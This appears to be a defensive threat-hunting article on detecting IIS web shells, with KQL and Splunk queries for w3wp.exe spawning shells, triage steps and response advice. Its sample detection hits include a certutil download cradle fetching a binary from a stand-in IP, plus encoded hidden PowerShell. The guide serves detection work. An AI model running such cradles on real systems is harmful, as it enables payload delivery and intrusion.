There is a special kind of silence on an IIS server right after it has been compromised: the site still serves pages, the app pool still recycles on schedule, and the only thing that changed is a 3 KB
.aspx file sitting in a folder nobody audits. A web shell does not crash anything. It just waits for a POST request with the right parameter — and then it hands the attacker a command shell running as the application pool identity.
The initial-access story varies — an unpatched upload endpoint, a deserialization bug, a misused msdeploy publish profile — but the execution story is almost always the same: the IIS worker process, w3wp.exe, spawns cmd.exe or powershell.exe. That parent-child relationship is the single most reliable forensic signal of a live web shell, because a healthy application pool almost never does that.
The hypothesis
An attacker has achieved code execution through an IIS-hosted application and planted or invoked a web shell, detectable as the IIS worker process (w3wp.exe) spawning command shells, script hosts, or encoded PowerShell — behavior with no legitimate counterpart in normal web serving.
Data you'll need
- Microsoft Sentinel / Defender:
DeviceProcessEvents(process creation with parent lineage),DeviceFileEvents(new files underinetpub\wwwroot), and IIS logs if forwarded. - Splunk: Sysmon or Windows Security
EventCode=4688(process creation with command-line auditing enabled), SysmonEventCode=1/11, or the Endpoint data model. - Context data: the IIS site's expected webroot paths and the normal app-pool identity list.
Hunting with KQL
The core hunt is a process-lineage query — a child spawned by the worker process:
// Web-shell hunt: w3wp.exe spawning shells or script hosts
DeviceProcessEvents
| where InitiatingProcessFileName =~ "w3wp.exe"
| where FileName in~ ("cmd.exe", "powershell.exe", "pwsh.exe",
"cscript.exe", "wscript.exe", "mshta.exe", "rundll32.exe")
| project TimeGenerated, DeviceName,
InitiatingProcessAccountName,
InitiatingProcessCommandLine,
FileName, FolderPath, ProcessCommandLine
| order by TimeGenerated desc
What this does: it looks for any process whose parent is the IIS worker process and whose executable is a shell or script host. In practice, hits here are rare and precious — I would treat any single result as an active incident until proven otherwise. The ProcessCommandLine column usually reveals the shell's purpose: whoami, certutil -urlcache downloads, or base64-encoded PowerShell (-EncodedCommand) are the classics.
A second KQL pass catches the shell file landing on disk — because a web shell is, at its core, just a file write to a webroot:
// Web-shell file-drop hunt: new script files under IIS webroots
DeviceFileEvents
| where ActionType == "FileCreated"
| where FolderPath has_any (@"\inetpub\wwwroot", @"\wwwroot")
| where FileName endswith ".aspx" or FileName endswith ".ashx"
or FileName endswith ".asmx" or FileName endswith ".asp"
| where InitiatingProcessFileName !in~ ("msdeploy.exe", "dotnet.exe", "devenv.exe")
| project TimeGenerated, DeviceName, FolderPath, FileName,
InitiatingProcessFileName, InitiatingProcessAccountName
| order by TimeGenerated desc
Example true-positive row (first query):
| DeviceName | WEB01 |
|---|---|
| InitiatingProcessFileName | w3wp.exe (IIS APPPOOL\Portal) |
| FileName | powershell.exe |
| ProcessCommandLine | powershell -nop -w hidden -enc aQBmACgAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0ACkA… |
| TimeGenerated | 2026-09-26 03:14 UTC |
Decoding that base64 blob is your next five minutes of work — it is almost always a downloader or a stager.
Tracing the initial access: what was in the IIS log?
Correlate the shell's creation timestamp against the IIS W3SVC logs on WEB01 (usually C:\inetpub\logs\LogFiles\W3SVC1). Look for POST requests to the shell's path, unusual PUT/DELETE methods, msdeploy.axd access, or a burst of POSTs to an upload handler minutes before the file appeared. The upload request's source IP is the attacker's real foothold — pivot there for scanning and staging activity.
Hunting with Splunk
The same hunt against 4688 process-creation events (this assumes command-line auditing is enabled — GPO: Audit Process Creation > Include command line):
index=wineventlog EventCode=4688 ParentImage="*\\w3wp.exe"
Image IN ("*\\cmd.exe", "*\\powershell.exe", "*\\cscript.exe",
"*\\wscript.exe", "*\\mshta.exe", "*\\rundll32.exe")
| table _time, Computer, Account_Name, ParentImage, Image, CommandLine
| sort - _time
What this does: pulls every child process of the IIS worker process that matches a shell or script-host executable, with the full command line. In the Endpoint data model the equivalent is:
| tstats `security_content_summariesonly` count, values(Processes.process) as processes
from datamodel=Endpoint.Processes
where Processes.parent_process_name="w3wp.exe"
Processes.process_name IN ("cmd.exe","powershell.exe","cscript.exe","wscript.exe","mshta.exe")
by Processes.dest, Processes.user
Example hit: a single WEB01 row where Image=C:\Windows\System32\cmd.exe and CommandLine=cmd.exe /c certutil -urlcache -split -f http://203.0.113.44/svchost.bin C:\Windows\Temp\up.exe — a textbook web-shell download cradle.
Validating the hit
- Find the shell on disk. Locate the
.aspx/.ashxfile (use the file-drop query or Sysmon EventCode 11), hash it, and read its source — the parameter name and the eval/exec call confirm it. Note its creation and last-modified times to bound the compromise window. - Decode the command lines. Base64-decode any
-EncodedCommandpayloads; grepcmd.exeinvocations forcertutil,bitsadmin, orInvoke-WebRequestdownload cradles. - Reconstruct initial access. Review IIS logs around the shell's creation time for the upload or exploit
POST; that tells you whether this was a file-upload flaw, a deserialization bug, or a stolen publish credential — which decides what else is exposed. - Check for persistence and pivoting. Look at outbound connections from
WEB01in the compromise window (DeviceNetworkEvents/ firewall logs) and at new scheduled tasks or services (4698 / 7045) — web shells are usually the beachhead, not the objective.
Tuning out false positives
- Deployment pipelines —
msdeploy.exe, Azure DevOps agents, and Octopus Deploy tentacles legitimately write.aspxfiles to webroots; exclude by the initiating process or the deploy service account. - Developer tooling on staging servers (Visual Studio remote debugging,
dotnet watch) can trigger file-drop hits; keep staging scopes separate from production hunts. - Health-check scripts invoked by monitoring occasionally run under an app-pool identity; they almost never spawn interactive shells from
w3wp.exe, so the process-lineage query stays quiet.
What to do next
Isolate WEB01 from the network but keep it powered on (memory may hold the attacker's session). Preserve the shell file, the IIS logs, and a disk image for forensics. Patch the exploited vulnerability before the server goes back online — a restored web shell without a patched entry point is just an invitation to return. Rotate every credential the app pool identity could touch: database connection strings, service accounts, and any secrets in the application's config. Finally, promote this hunt to a standing detection: an alert on any w3wp.exe → cmd.exe/powershell.exe lineage is one of the cheapest, highest-fidelity rules you can run on a Windows web estate.


